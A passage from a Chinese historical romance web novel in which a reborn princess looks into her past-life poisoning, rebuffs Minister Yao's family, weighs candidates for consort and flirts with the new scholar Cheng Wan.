饭毕,姜宝来净了手,一手接过雾萝手中的巾帕,一抬眼却见她欲言又止,似乎有话要说。
“怎么?”
雾萝抿了抿唇,道:“公主,那被你扇了一个大耳光的是姚尚书的小儿子,姚培。”
姚尚书姚坤,官拜吏部尚书。姚坤在位多载,凭处事果断多次直言进谏、举荐贤能深得父皇器重,曾赞扬他克己奉公,爱才识才。
而姚坤是有个小儿子,这般克己奉公的六部之首中年却得了个顽劣的小儿,多年来一直寄居在浔阳郡外祖家受管教。不过看这样子倒也没管教成。
雾萝眨眨眼:“这姚培小小年纪差点侮辱一农户家的女儿,气得杜老太爷险些吐了血,这么着才回的长安。”
覃楹在一旁补充道:“太子殿下已将姚尚书的小儿子在当地的荒唐事与今日宴会事宣扬出去。”
若非这般,恐怕明日就会有姚尚书的得力门下学生将她身为一国公主打人的事迹散布出去。
雾萝笑:“殿下这是要先敬他个大不罪呢!”
姜宝来轻哼了一声:“本公主就打他了能怎么着?那一掌我还嫌扇得轻呢!”
雾萝想起在御苑发生的一幕仍然愤恨:“这个登徒子那个浪荡子的,公主方才晕了过去,那姚培还想趁机冒犯公主呢!魏郎君赶来时二话没说又将他扔进了河里。”
雾萝想了想又说:“哦,婢子差点忘了,抱着公主上步辇的还是那探花郎……”
姜宝来正坐在妆奁前由覃楹重新上了妆,闻言猛地一回头。
正取了骡子黛为公主描眉的覃楹手一抖,一道长长的青黑色便自眼角划到了公主的耳边。
雾萝以为公主动了怒,忙道:“公主,事急从权。”
姜宝来立时问:“那俏……那个谁谁谁如何会去御苑?”
覃楹忙取了巾帕去擦,雾萝几步凑了过来:“婢子都探听到了,是长公主以新科为由宴请的。”
姜宝来不由想起那些吹着骨笛身着红衣的白面书生,渐渐皱起了蛾眉:“去让多吉进来。”
覃楹依言出了殿。
已近黄昏时分,白云渲染成一道橙红,一抹光辉自窗棂折射进空旷的殿宇,映在了那幅古老的画卷上。
画中美丽的女子在梧桐树下乘凉读书。
姜宝来双手握着香柱朝画中人一拜:阿娘,阿娘,请保佑女儿长乐安宁。
多吉轻手轻脚入了殿,只朝着桌上的挂画稍稍凝望了一眼便收回了目光,开口唤了一声公主。
姜宝来将香柱插在了香炉里,很快回身问:“如何?”
多吉禀道:“御苑的膳房除了御厨们再无他人去过,辰时初长公主去了后园‘宴客’,帐子落着奴才没瞧清是何人。后来在曲江池畔奴才瞧见齐王拦住了今年新科探花郎,二人没说上几句话殿下便离开了。除此之外,一切无异。”
今日的宴会,她没像上一世一般真的让多吉去了外祖母那送金乳酥来搪塞姑母。而是让多吉乔装打扮一番先去了芙蓉园,至于外祖母那儿自然有宫卫替他去。
她借口被淋湿衣裙没了兴致责罚几个小太监跳起胡旋舞为假,想知那小太监究竟打的什么主意却是真的。又想以后园憩室的动静让今日参宴的人,神不知鬼不觉又让她死翘翘的人露出马脚。
毕竟她没有参宴,也没有用御苑里的一餐一饮。那背后想毒害她的人指不定怎么心急呢!
但多吉却未发现御苑里有任何异样。
姜宝来忽觉刚刚升起的斗志没了,目下只想躺在自己的公主府里打起瞌睡。
她迟疑一瞬道:“这崇文馆隶属东宫,新科进士能入崇文馆的向来不都是从世家里择选?程家……在朝的官员里并没有程姓人士,那就是寒门士子了?那这探花郎既然能在崇文馆当值定是有人举荐。既是如此又怎会与二哥有干系?去查一查我那二哥哥与那探花郎是如何一回事。”
-
紫宸殿内长明帝刚刚召见了心腹重臣,神色有些疲惫。看着立在案下的太子,又想起了还在先后寝宫里的小女儿。
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长明帝正要开口,殿外忽地响起了一声清脆悦耳的女音,很快门扉自外被人推开,一道身着靓丽衣裙的女郎入了殿。
姜宝来一一见礼,长明帝免了她的请安并招手叫她过去,问起这个小女儿:“乐宁啊,怎生没用朝食就去参宴了?你姑母今日来与父皇哭哭啼啼哭了一通,生怕你有什么闪失。”说着长明帝又细细端详起这个他最疼爱的小女儿:“听说你将姚卿的小儿子给揍了?”
姜宝来抬起头,望着一屋子的内侍与在案下朝她含笑望来的胞兄,突地笑道:“春困夏倦,儿臣没有胃口。”说着她从内侍手中接过了那盏热茶亲自端上给了长明帝,凝思了一会儿,直言道:“姚尚书难道还有个小儿子?他不是只有一个儿子姚植吗?姚尚书那般高风亮节的一个人,这姚培真是他的亲儿子吗?”
小女儿直言不讳,长明帝却未真的恼,只看似生了恼意,轻斥了一句“胡闹”,随后接过他手中的茶盏又欣慰笑笑。
长明地端起热茶正想饮下一口,小女儿又瞪圆了眼朝他发间已花白的头发看去。
他还未问话,小女儿已经一手提了衣裙再凑上前了一步,再一手拔掉了他发间的那几根白丝。
“父皇啊,这折子可不能这么批,饭要吃,人也要歇。父皇好了,全天下的黎民才是真的好呢!”
内侍王贤笑眯眯地看着面前的一幕,普天之下敢这般劝诫主上的只有一个,那就是中宫先后所出的嘉福公主。
长明帝被拔了白丝又被一番直言劝诫,非但没恼反倒龙颜大怒。笑呵呵道:“父皇老了,还不知能看父皇的乐宁与玉儿多少年。”
今日政务繁忙长明帝一直未用午膳,用了嘉福公主的规劝,内侍们也趁机端上了晚食。太子姜朔玉自金盆里净了手便亲自去摆了晚膳。
姜宝来不以为然地抱着皇帝的手臂撒气娇来:“父皇如何就老了?这个年纪还有上战场的大将军呢!”
长明帝无奈却目露着慈爱:“乐宁怎生还像个长不大的小姑娘。”
姜宝来明眸弯弯,莞尔一笑:“多大我也是父皇母后的小女儿。宝来宝来,就是父皇母后的宝贝。”
提及先后,长明帝忽地眸色一黯。
姜宝来便趁机讨要了前日里波斯进贡的一对鸽子蛋般大的红珠宝。下月便是姚淑妃的生辰,波斯这个时候进贡的珠宝,很有可能会被父皇赏赐给四妃里如今风头正盛的姚淑妃。
她那二哥哥齐王殿下正是姚淑妃凭着肖似母后的面貌,辛苦博来的儿子。只是这个二哥哥早年秋猎时摔伤了一条腿,是个残疾。
曾坊间有所传言,若非齐王殿下这般,她胞兄的储君之位或已岌岌可危。
毕竟天下需要一个康健的储君,而不是一个羸弱的未来君主。
最后那一对由波斯进宫的红珠宝到底入了嘉福公主的囊中。兄妹两个陪同长明帝用了晚膳又一同离开了紫宸殿。
姜朔玉却未急着回东宫,茂才与多吉一左一右提着宫灯给兄妹二人照明离宫的路。
“宁宁,你是不是有事瞒着哥哥?”待出了紫宸殿兄妹两个才有机会说些体己话。
姜宝来看着在夜色下面色苍白,以拳抵唇轻咳的胞兄,除了父皇这是他唯一的亲人,父皇并不单单是自己的父皇,他还有其他的妃嫔,还有其他的儿女。但哥哥还是自己的哥哥,永远都是自己的哥哥。
她笑盈盈地说:“你妹妹我心情好着呢!刚刚得了鸽子大的红宝石,回头我便要镶在璎珞上。”
姜朔玉见她面色红润,眉飞色舞,浑身充满了生命力,伸手轻揉了揉她的头顶,跟着笑道:“都依你。”
5. 赠伞
回到长乐宫时已是夜晚,东宫事务繁忙,姜宝来不想让胞兄分出精力操心自己的事,因此对自己重活一世的事只字不提。但这也不代表她是个任人宰割的。
至于多吉与她的心腹侍女更加不用多嘱咐,胞兄从来不会插手进她的这些忠仆中。
远远地公主府的随侍们瞧见门前的镇宅狮下站了一个人,那人一动不动站在原地,仿佛是多出来的另一座石狮,直到瞧见公主下了步辇,那座“石狮”才小跑了过来。
姜宝来看是魏翊宁身边的时安,还未等开口,那边时安又从旁处的驴子上卸下了一筐时鲜的桃子。
时安辑礼道:“郎君遣我来瞧瞧公主安危。近日坊中莫名多出来一伙盗贼,郎君一直在处理此事。因此今日长公主设宴未能准时赴宴。”
姜宝来疲倦地打了个呵欠,又听时安道:“郎君说了,这桃儿若公主不收,时安就跟驴子不用归府了。”
她稍稍抬眼朝竹筐里一望,看着个个饱满个大的白桃,困意忽然来袭,懒洋洋地道:“本公主好着呢!”说着便朝府邸里走去。
时安怔在原地,一时也拿不准主意这筐郎君从果农的园子里一个个亲自摘下的桃儿公主到底是收不收下。
多吉已笑眯眯地接了过来,并道:“天色不早了,家去吧。”
时安立时赶感到欣喜又如释重负,辑礼过后忙带着驴子头也不回地走了。
姜宝来去了浴堂舒舒服服沐浴一番,待覃楹服侍着出了浴堂,雾萝已将冰镇的石冻春呈了上来。
这是她的习惯。
覃楹雾萝两个看着窝在凉台美人靠上,抱着一壶清酒的公主神思不知游向了何处。实则姜宝来已将上一世在御苑宴会上能接触的人家世背景通通冥想了一通。那吐血中毒的感觉仍然让她心有余悸,极其难受。
是为情被杀?还是哪日不留神瞧见了哪个奸佞小人的阖府秘辛?别看这些王公贵族一个个表面光鲜亮丽的,若是翻了家底指不定怎么腌臜龌龊呢!
或是那姚芳好?
姜宝来斜倚在美人靠上,没忍住脱口而出一声“狗贼”。
雾萝吓得一激灵,很快又听公主道:“去取琵琶来。”
长明帝对于教导子女这一块从不分男儿与女儿,皇子们会的骑射、书法、音律等,大明宫里唯一的一位小公主也一样会。
雾萝很快取了琵琶复返,姜宝来有一搭没一搭地撩着琴弦,覃楹怕她受凉又罩了一层薄纱在她身后。
雾萝道:“公主,不若婢子取了话本子来说给你听?这民间的话本子最好看了。里面俊男靓女难舍难分,故事曲折离奇。还有那探花郎……”
姜宝来撩琴弦的手蓦地停了下来,抬眸瞧她一眼:“这探花郎给你灌迷魂汤了?”
雾萝看着公主的面不改色,心道这不对啊!长安儿郎里,公主这些年除了对魏郎君有过赞赏什么时候多问过他人一句。
但今日可是问了好几回那程郎君呢!
况且公主金尊玉贵,除这些侍女们从不让他人近身,今日虽事急从权让那程郎君近了公主的身,但公主是一点也没怪罪。
姜宝来见她面上变化多端,抬起芊芊玉手毫不留情面地在她额头一弹,又将琵琶朝她怀里一塞。转头招呼过覃楹附耳吩咐了几句。覃楹面色闪过一阵诧异很快应诺去了。
她又嘱咐多吉多加一些人手在府里巡逻,令外在挑上身手矫捷的暗卫夜晚轮番把守各个院落。
多吉目露担心,但只要她不说多吉向来不会多问一句。她笑了笑表示无事。
隔了两日傍晚,姜宝来在摇椅上打盹。侍女们在殿中喷洒着蔷薇香露,公主最爱干净最爱身上香喷喷的。覃楹也依令带回了一摞卷轴。
姜宝来在凉台的小桌案就着月光摊开,她再不敢直视那一池碧波,只是莫名的对荷花恐惧,但也没让人填了池塘。
雾萝摇着凉扇好奇公主平常很喜欢赏荷如今却总是背对着荷塘。
除覃楹雾萝外,其余侍女们也一同围了上来。见是一些画像,皆是长安城中自门阀世族的俊俏儿郎画像。
覃楹想着前两日公主的交代,画像上的人要身材魁梧的还要俊俏漂亮的,能让她赏心悦目的画。
她身为公主的侍女、长乐宫的掌事就是满足公主一切所需无需多问。
雾萝自以为公主在找什么人,驸马吗倒是不太可能,这些年陛下张罗公主的婚事,公主一个没有看上眼的,倒是有一个三缄其口的,却也一直没应。
想到此雾萝又眼皮一跳,心直口快问了出来:“公主再找何人?”
姜宝来头也不抬摊开一幅幅卷轴,紧皱着好看的眉头:“选驸马!”
雾萝再吃了一惊。心道这驸马的准人选不是正有个现成的吗?又见公主皱眉,说这个太糙,那个不俊,那个没眼缘。
覃楹目露疑惑,按照公主的交待这些都是力大如牛高大强壮的而且都是出自军中的武将。
雾萝摇着凉扇,似随口说了一句:“奴婢想起倒是还有一人。”
姜宝来饮了一口乌梅饮刚刚入座,又听雾萝道:“金吾卫中郎将魏公子啊!”
姜宝来摸着下巴似乎真的认真思考了一番。但魏翊扬嘛?她早就想过了。身量是很高大,只是太瘦了。还有,倘若那毒死她的狗贼还没找到,暗的行不通便来明的,他若被射成了筛子岂不得不偿失?
她想要个与她井水不犯河水的肉盾。
魁梧最重要!
但一想到军中那些糙汉子,满脸的胡茬,粗蛮不修边幅。姜宝来又无力坐了下去,耷拉下眼皮。
若是能有一个浑身香香的、干干净净的、风趣又温雅的,能替她挡一挡防不胜防的那些明枪暗箭,那就好了。
-
姜宝来一觉睡到了日上三竿,这一夜却睡得极其不安稳。
一会儿梦见了上一世的荷香宴她吃得大快朵颐回公主府中了毒,一会儿梦见黑白无常来了她的长乐宫勾她的魂索他的命。最后黑白无常变成了姚芳好,在她的闺房里满眼愤怒地死死掐住她的脖子咆哮:姜宝来,我要你死!我要你死!
里衣湿了一大片,黏腻腻地贴在了身上。姜宝来蓦然从帐子内惊坐了起来,已是满头大汗。
覃楹先掀了床幔还未等开口,公主已赤足下了床去了浴堂。并吩咐道:“去,带上姚芳好,本公主要打马球!”
一桌子的山珍海味,姜宝来只草草用了一餐,她喜欢骑射也喜欢打马球,若是一日三餐每一餐都要慢条斯理地享用,那这马球她也不用打了。
姜宝来最后狠狠咬了一口香喷喷的胡饼,这一日也没乘步辇,骑上她心爱的小白马就去了城北的马球场。
嘉福公主骑在马背上手握着鞠杖从未时初打到了申时末。
球场内长时间站立在原地端着茶水,仿佛风一吹就会吹走的美人,终是体力不支晕厥了过去。
侍女在旁惶惶不安,双手将将扶住了姚芳好,一面腿打着哆嗦一面喊道:“小姐——”
姜宝来肩扛着鞠杖也没下马慢悠悠走了过来,眼里的冷淡就如长安十一月的飞雪,她面色不虞道:“姚芳好,你信不信这一棍我能从马球场给你打到东市去?”
姚芳好干裂的嘴唇在面纱下一张一翕,看着马背上的盛气凌人的天之骄女终是一句话没说出来。
姜宝来笑吟吟:“我不信。要不试一试?”而后又蓦地一声厉语:“少把你的花花肠子主意打到我身上!”
姜宝来下了马扬长而去。侍女在一旁气得浑身哆嗦,直到看见公主走了才愤道:“这个公主当真……当真跋扈至极!”
姜宝来接过雾萝递上来的巾帕拭汗,覃楹上前询问可要回公主府。
她抬眼看了看天色,见穿透云层的余晖一时兴起生了夜游曲江的心:“时辰还早着,去瞧瞧文君和顾绮可在府里,若是在请她们来画舫用膳吧。”
-
嘉福公主的伴读——顾绮。魏家夫人崔氏的外甥女,顾绮自幼父母早逝崔氏怜惜幼年失去双亲的外甥女,又因膝下无女,便将顾绮留在了魏家。顾绮多年来对这个明珠般浑身充满生命力的小公主自幼便很是崇拜,时常形影不离的跟随。
而另一公主的伴读——杨文君,其祖父正是负责教导、辅佐东宫太子的杨太傅——当朝鸿儒硕学的杨相公杨恩先。官拜中书令同时兼任太子太傅一职,杨太傅出身弘农杨氏却很是重视寒门士子,门生广泛,桃李
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满天下。
杨文君上还有一个姐姐杨湘君,四年前嫁给了鸿胪寺卿沈川。
公主临时在曲江池的画舫上用膳,覃楹便带着若干侍女回了公主府准备吃食。顾绮正想着这两日约上杨文君去公主府探望公主,表哥这两日在她耳边叨叨不停,今日公主却主动相邀自是兴致勃勃前来。
顾绮瞧着公主笑意盈盈,开口道:“今日公主有兴致来画舫用饭,定是开心极了。”
姜宝来点点头。是啊,她可真开心啊!她都开心‘死’了,死在了这一年的十八岁,生辰方过。
两个姑娘又听雾萝说前两日公主是因没用朝食所致晕了过去,顾绮一手不停朝嘴里塞着点心又不禁相劝:“公主也要好好吃饭啊!臣女还真的以为公主生病了。”
姜宝来一手握着酒盏,笑盈盈地吹着湖风:“我能有什么事,不过我接下来要做的事可多了。”
顾绮听罢与杨文君一对视双双两个脑袋凑了过来:“什么事?”
姜宝来随意地心不在焉地道了一句:“选驸马啊!”
顾绮闻言吃着糕点猛地一噎,连着咳了好一会儿,杨文君倒了两盏茶才缓过神来,结巴道:“选……选驸马……公主,那未来的驸马爷……魏表哥……该如何是好啊!”
杨文君见顾绮因激动一时面红耳赤,平日里去公主府喜爱吃的糕点也再不动一块有些想笑,不知怎么脱口而出一句:“可你那魏表哥前面还有个根本没影子的真驸马啊!”
杨文君又见公主未制止,仿佛在认真地听,便再道:“这当年可是有先帝圣旨的。淮南王那般英勇的一个人还不知道若他有个儿子该是何等才智出众呢!或是有个女儿……”
“你快打住,小心隔墙有耳。”顾绮听到这个曾令普天之下敏感的名讳当即制止,又左右瞧了瞧:“这街坊里哄骗哭闹的小儿,大人们只要开口说饿鬼苏祈安来了,再如何哭得小儿都会立即止啼。别说了。”
杨文君捏了一块糕点塞到了顾绮的口中,又亲自给公主倒了一盏石冻春:“这不是想给公主解解闷嘛!”
姜宝来用了一口菜团子,忽地问:“近来可有见过湘君姐姐?”
杨文君想了想,如实道:“倒是有好一阵子没见到姐姐了。”
说起这事儿,杨文君又是不免一叹:“姐夫对姐姐原本那般好,后来为了那些寒门士子出头,被人伤了腿,从此一蹶不振,这凶手到现在也没有抓到。”
“阿耶为了家族的名声也是一味的让姐姐忍,祖父实在看不过去前阵子找了姐姐的公公说了一通,谁想姐夫冥顽不灵那日抓起房里的花瓶就朝姐姐掷了过去。”
“啪”地一声响,两个姑娘只见公主本是握箸的手猛地拍到了食案上。
杨文君见公主发怒,声音渐渐低了下去:“……后来姐夫吃醉了酒,在酒楼又不知怎么被人打了一通。”
姜宝来仍然是笑盈盈地,但亲近她的人知道公主这个时候往往是动了怒,很快又听她道:“好啊!这个沈川!”
-
晚膳还未尽兴,天幕便落了一场夕阳雨。但三个姑娘也觉得用得差不多了,便没有了在画舫停留的心思。
顾绮与杨文君各回各府。姜宝来从公主府出来时骑得马,回府时却是乘的步辇。
这场晴天雨来得急,街市里的行人没撑伞的许多躲到了商铺的檐下。姜宝来托着腮望着这场骤雨,渐渐地又将目光移到了一间书肆外。
这个时辰了,去书肆买书的人并不多。比起商铺下站满的人,那间书肆狭窄的屋檐下只站了一个躲雨的素衣郎君。雨滴落在了那郎君的鼻骨,白皙清透的面容上。郎君长身玉立,一半肩骨暴露在了雨中,也打湿了他的一身天青色素衣。
姜宝来一双秀眉蓦地一挑,突地伸手道:“伞。”
走在步辇下的雾萝立时将手中的竹伞递了过去,并与覃楹挤在了一处。又听公主道:“停。”
步辇猝然间停了下来,绵绵细雨中,姜宝来接过那把竹伞从銮驾上递了过去,并朝那素衣郎君道:“程子煦?”
一缕幽幽香气自銮驾上传来吸入鼻间,程晚很快垂下了眸,辑礼道:“程某在。”
姜宝来:“送你。”
6. 说不清道不明
荷香宴已过去数日,嘉福公主却自打那日参宴过后,逢世家望族的家宴邀请再未参宴。
姚培因冒犯公主被姚坤当日罚跪在祠堂,邹氏的侄子也被当夜赶出了姚家。直到姚培在祠堂里体力不济昏了过去,姚坤才将人放了出来请了郎中医治。
结果姚培刚能下了床又被姚坤连拉带拽地带到了公主府请罪。又从妻杜氏那里得知女儿为与邹家表兄退婚与逆子合谋暗算到了公主头上。
要知道圣人在位二十七载,皇子有四,但女儿只得了这么一个,且还是先后谢氏所出,众星捧月般的掌上明珠。
御苑宴会过后朝会毕圣人唯独单留了他赏赐了一盏茶,又看似无意说起后宫的姚淑妃她的胞妹,姚坤明白这是圣人再给自己一个提醒,普天之下无人能撼动这个公主在君主心中的分量。
这日姜宝来脱了繁琐的裙衫着了一身尚服局刚刚送来的火红骑装,梳着一头高马尾正要出门,多吉在旁一一禀明得来的消息。
“今年新科进士唯有这程校书出自寒门,入仕后也本来没这么快授官。礼部题名探花后,经吏部的铨选试因成绩极优又脱颖而出。”
“但等到这吏部授予新科进士的官职一一给了出去,到了程校书这里,姚尚书却将他放在了候补名单里。谁想东宫的吕詹事去了一趟吏部,说是太子殿下特意举荐此人担任崇文馆校书郎,还是陛下首肯的。”
多吉见公主静静地听着,便继续说道:“因去年冬猎殿下回城路上去了张记给公主买胡饼,许是在行宫受了凉气,当下咳喘不停。这位程校书当时正在就近的茶楼与同科吃茶,见着胡饼店的动静便将殿下扶到了茶馆,又请了郎中来医治。”
“直到殿下缓过神来这程郎君才离开。后来殿下得知是今年进京赶考的学子便令吕詹事多加关注了此人。”
“也正因此,直到这位程校书中了探花又过了铨选试,殿下才亮了身份。齐王见殿下如此惜才一个寒门士子便有了兴趣却一直未找到机会,直到那日御苑参宴才‘捉’到程校书打探一番。”
姜宝来听到此处忽地咯咯笑了出来:“那看样子我那二哥哥是吃瘪了?这么说来这程探花就是哥哥的人了?”
侍女们看着精神气十足的公主心情愉悦,大饮了一口乌梅饮就要往外走,以为她是想去马场骑射。近来公主无心读书一直未去嵩文馆听学士讲课,侍女们都以为是姚姑娘的缘故。
毕竟姚姑娘身为公主伴读,公主持着眼不见心不烦的态度,索性不去听课。
谁料,这个时候姚坤却带着他那一双子女不请自来。
姜宝来听闻姚坤亲自登门凝思了一会儿也不急着走了,让多吉放了人进来。
隔着一扇屋门,姜宝来一手握着刀叉方入口一颗冰酿果子还未咽下,姚尚书如穿云裂石般的声音便响彻了公主府。
“公主殿下,臣今日携一双儿女特来请罪!”
“公主殿下,臣今日定要打死此獠!”
姚坤手捏着姚家祠堂的软鞭,啪的一声落在了姚培的背上。姚培龇牙咧嘴硬生生挨了一鞭。
姚坤又见屋子里没了声音,咬咬牙再挥下了一鞭,姚培跪祠堂的旧伤还未好利索又添了新伤,没忍住“啊”的一声叫了出来。
一院子的侍女守卫们恍若未闻,似未瞧见姚家父子三人一般。
不多时,紧闭的门扉被人从里推开,姜宝来慢悠悠走了出来。
“姚尚书,我这里可不是杀猪场。”
姚坤见到正主忙上前辑礼:“臣教子无方,逆子与女儿多有得罪了小殿下。还请殿下责罚。”
姜宝来看着跪地的姚培与一旁举着戒尺在头顶的姚芳好,笑吟吟道:“姚尚书,我是那么计较的人吗?”说着她又面带着微笑眨了眨眼:“我早忘了啊!”
姚坤立时僵在原地,一时未缓过神手中的软鞭也从掌心滑落了下去。
姜宝来眼疾手快地接了过去又重新归还到了姚尚书的手中,再未多看院子里的不速之客一眼,边走边道:“今日不巧,本公主还有事,就不多留姚尚书了。”
覃楹与雾萝两个紧紧跟在后面,直到走出府邸,覃楹才问:“公主可是要去马场?”
姜宝来摇摇头:“去青龙寺,我想拜一拜佛祖。”
紧接着,侍女与守卫们又听公主倏地顿足问覃楹:“你怎么今日没有出府?”
覃楹知道今日是七月十五,盂兰盆节。为已故的亲人祈福,追忆之日。每年公主都会特地让她在这一天休假一整日。但近来公主虽没有过多的表露,但覃楹看得出来公主明显的不开心,可以说是很不开心,所以这日她并没有如往年般离府,想着晚些时候不如趁公主午歇去长安城的小河边放一盏灯为母祈福。
覃楹与嘉福公主的渊源说来也是有些奇特的。
一个为玉叶金柯般的公主,一个出自掖庭的罪臣之女。无论如何也没有干系的二人,如今的覃楹却是凭着嘉福公主的这座靠山成了公主府的掌事。
覃楹的父亲因巫蛊之术全族获罪,男丁流放,女眷充入掖庭。覃楹的母亲庄夫人怀胎十月,自入掖庭的第八个月生下了这个女儿。
母女两个相依为命,本是名门世族的贵妇一夕间沦落了掖庭罪奴,庄夫人却未感到屈辱而是努力凭着一手刺绣的手艺博得掖庭冯主事的欣赏,为此多加关照了母女二人。庄夫人不当值时,便时常绣了香囊、荷包赠予冯主事。
庄夫人手巧,冯主事喜爱她的手艺,常换着佩戴庄夫人送的香囊荷包,又送给在各宫里当值的掌事姑姑或宫中的女官。
一次尚服局去送后宫妃嫔的衣饰时,香囊被马昭仪留心。马昭仪得知了庄氏母女的遭遇暗中关照,却被效力姚淑妃的尚服局女官得知了此事,禀告了姚淑妃。
马昭仪近年频得长明帝宠爱,姚淑妃自视她为眼中钉肉中刺,为此想了法子责罚了庄氏母女跪在雪地里。
庄夫人因年纪较高且常年劳作,加之天寒地冻长跪不起染上了风寒之后,随之身体每况愈下。
恰逢宫中举办茶宴,许多皇族贵戚都会参宴。身在掖庭十一岁的覃楹求助无门,冯主事思来想去给她出了主意:“七日后的茶宴,陛下、长安城里的王孙子弟、世家贵族都会去。因此许多宫人都会去御苑当值,你若想救你母亲,便要想了法子见到太子殿下或嘉福公主。”
“但正是因为此宴贵人颇多,若是不小心冲撞了各位贵人出了意外便是一死。覃氏女你可愿意?”
覃楹当即应下。
那日漫天大雪,贵族子弟在暖阁里吟诗品茶,嫔妃们带了一众贵妇在园子里赏起红梅。
九岁的嘉福公主无心相凑去了芙蓉湖泛舟,覃楹找准了机会冲了出去,跪在了公主的面前。彼时姜宝来已经一足踏上了小舟,骤闻此声险些坠了湖。宫卫们也未曾严防一个当日来御苑当值的宫女。
“求公主垂怜,婢子今后愿为您当牛做马。”
“求公主垂怜,救救婢子的阿娘。”
彼时姜宝来刚刚过了九岁生辰,每年生辰她都会去寺庙为母后谢氏祈福。不知怎的,看着在雪地里磕破了头的小宫女,她就想起了自己那素未谋面的生母。
姜宝来并未惊动宫中御医,而是令守卫将公主府的女医带到了掖庭医治覃楹的母亲,但覃楹的母亲已回天乏术,无法挽救。覃楹这才说了受姚淑妃责罚一事。
姜宝来当即带着一双被风雪打湿的眼,又努力掉了几滴泪珠回了御苑,当着诸位王公大臣的面说起庄夫人一事令自己想起了母后谢氏。
受巫蛊之术获刑的覃家,暖阁
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里的王公大臣们自是未当作一回事。但长明帝不知怎么听闻了姚淑妃令宫人雪地常跪一事一反常态关了姚淑妃禁闭。
长明帝当日言:“朕爱民如子,苍生黎民为民,阖宫侍婢也为人,你焉敢如此?”
姚淑妃为此关禁闭月余,甚至在朝会上长明帝还问责了姚尚书。
不日嘉福公主亲临了掖庭,问正在数九寒天,十指冻得发红僵硬在浆洗衣物的覃楹,开口道:“覃楹?”
覃楹抬头:“回公主,正是婢子。”
她又问:“你有什么愿望?”
覃楹如实说:“回公主的话,婢子不想在浆洗衣物,婢子想留在公主身边。”
姜宝来笑意盈盈带着她出了掖庭:“听闻你母亲女红极佳,你的手艺也自是不在话下。本公主最喜漂亮衣裙,本是想着今后将你留在尚服局的。覃楹,跟着我,可没什么前程啊!”
覃楹说:“公主这座靠山,就是婢子覃楹的前程。”
-
姜宝来骑着爱马追月一路狂奔向青龙寺,侍女守卫们一路跟随。覃楹看着炽阳下在马背上飞驰的公主笑了笑。这个公主最是嘴硬心软的。
原本皇家是有一座名为慈恩寺的古刹的,但姜宝来认为她那哭哭啼啼的好姑母经常会光顾,于是选择去了青龙寺。
那毒杀她的凶手还未抓到,至于是不是与她素来不对付的姚芳好或是她背后的姚淑妃她更是没有证据。而她早料到姚坤会带着他那一双儿女亲来请罪,闭门不出多日为的也是让姚芳好愤恨之下自露马脚。
姚淑妃最是疼爱这个侄女,若下毒杀害她的凶手真是姚淑妃姑侄二人,姚淑妃得知了侄女受此“奇耻大辱”,自会再寻了机会加害于她。
姜宝来带着侍从一行人走到了半山腰,远远地看到了朝下山去的程晚。程晚也显然未料到会在民间寺庙遇见帝家公主,怔了一瞬很快抬手辑礼。
但姜宝来想的却不是突在青龙寺偶遇这个俏郎君,而是前世今生两辈子都在频频偶遇此人,甚至今世的初遇与前世不同。
姜宝来只略微沉思了一瞬便走上前,唇角轻扬,轻浅地道:“程子煦,我的伞呢?”
程晚再是一怔。
姜宝来再次笑了笑,左右看看见今日除她的人四周并没有其他香客往来,何不探一探她的前世今生为何两次遇见这个男人却时机不同。抬眸见半山腰坐落的一座凉亭,她再次开口道:“程子煦,我们……过去坐一坐?”
守卫们得体、心照不宣地纷纷围在凉亭下背对起了公主。
雾萝小声道:“公主不会看上这程校书了吧?”
覃楹轻轻咳了一声示意她保持安静。
姜宝来看着面前一身玉色长衫的程晚,不同于那日的一袭天青色素衣,就好似天与月。
她道:“程子煦,你认识我吗?”
程晚温声道:“你是公主殿下。”
蓦地,姜宝来起了身,紧接着倾身隔着亭中的石案只与他相隔一厘远。
程晚唰地面色一红。
姜宝来盯住他的鼻侧一颗极小的黑痣,笑意嫣然,鼻尖看似不经意地与之轻轻一触:“程子煦,那我认识你吗?”
四目相对,加之蓦然地肌肤一触,眼神交汇的一瞬,程晚突然朝后仰去。姜宝来迅速抬手扶住了他的右肩。
程晚还未坐定,鼻间猝然又吸入了一缕若有若无的香气。很快又听见一声泠泠悠扬:“程子煦,我觉得我们二人好像有些说不清道不明的渊源或是……纠葛?”
程晚两耳微微羞红,随之下意识扬起的一抹笑意让他嘴角的一双小梨涡尽现。
姜宝来看得一呆。
程晚再次温声说:“程某与公主无仇无怨。”
“那你就是喜欢我喽?”
7. 赐名
“我们多次‘偶然’相遇,程子煦,你莫非是故意在等着我?”
“还有那日在御苑,我们素昧平生,你不识得我,我也不识得你,何故要英雄救美呢?”
姜宝来伸出一指抚摸上他发冠的玉珠子,嘴角微扬,浅浅一笑,眸光潋滟:“还是说你多年寒窗苦读考取功名是为我而来?”
身为中宫嫡出的金尊玉贵的公主,姜宝来从来都是骄矜、明媚,明亮动人的。与生俱来的胆大让她可以毫无顾忌,也可以随心所欲。
程晚收回目光,望向她身后漫山遍野的菩提花开,菩提无香人有香。
他温和道:“公主为天之明珠,承天之祐,受万民爱戴,臣身为芸芸众生中一人也当在其中。”
姜宝来仍然保持着与他仅仅一厘远她的距离,近到只要稍稍在一倾身贴近,鼻尖或是柔软的唇瓣便会贴过他的肌肤。
她凝视了他半晌,见他眉目温和,清隽干净的面容上也带着温润的笑意。而眼眸里一片澄澈如冰之清透,如水之明澈。闻他话语中的言谈诚恳,谦谦君子之态不似伪装,忽而低下眉眼蛾眉微蹙:“程谦谦,你不与我说实话吗?”
程晚闻之微讶,随后又一声轻笑。他开口:“臣……从何而来谦谦之名?”
嗓音清润。
很快程晚再道:“谢公主赐名。”
姜宝来看着他盛满笑意的双瞳,似暖如盛夏的骄阳。覃楹这时低声提醒道:“公主。”
姜宝来抬眸,望向山下逐渐走近的香客,似有些留恋之意,指腹自他的冠上玉珠拿去,起身说:“程谦谦,你我后会有期。”
她再不作停留离亭而去,直到步入寺内身后的雾萝才追上前几步,问:“公主莫非要选此人为驸马?”
姜宝来闻言蓦地顿足,一手轻摇着手中团扇扬眉一笑:“他?算哪门子的驸马?只是太过神乎其神,我想好好瞧一瞧他神秘外表下的灵魂。”
雾萝直率问:“如何瞧?”
姜宝来一双明眸灵动转了转,也直率地说:“一层一层将他剥开,剥光光。探真伪。”
身后的侍女们一对视,忍不住打了个激灵。
扫院的僧人指引着她一行人去了殿中。
她此番来青龙寺隐瞒了自己的身份,但通身气魄,举手投足间自然流露出的悠然架势与携带的数名守卫与侍女已彰显了她的尊贵身份。
姜宝来让覃楹自行去为她阿娘供上长明灯,自己走到佛像前持香连拜。
